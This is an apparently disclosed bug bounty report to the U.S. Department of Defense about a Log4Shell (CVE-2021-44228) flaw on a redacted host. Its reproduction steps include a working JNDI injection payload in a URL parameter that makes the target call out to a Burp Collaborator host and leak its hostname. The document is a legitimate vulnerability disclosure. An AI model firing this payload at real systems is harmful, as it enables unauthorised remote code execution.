U.S. Dept Of Defense · Report #1624137
LOGJ4 VUlnerability [HtUS]
Validstatus
criticalseverity
$1,000bounty
94upvotes
18 Nov 2022disclosed
How it was found
Description: Hi team,
log4 shell is recent 0-day exploit it's Java package vulnerable. █████ is vulnerable
Impact
RCE
System Host(s)
██████
Affected Product(s) and Version(s)
CVE Numbers
CVE-2021-44228
Steps to Reproduce
- Go to this url => https://█████/?x=${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}
- paste the poc code on parameter
- Then burp collaborator received reverse ping back Photos below
POC CODE ${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}
Suggested Mitigation/Remediation Actions https://www.lunasec.io/docs/blog/log4j-zero-day/
Impact
Successful attack leads Arbitary Code Execution on the application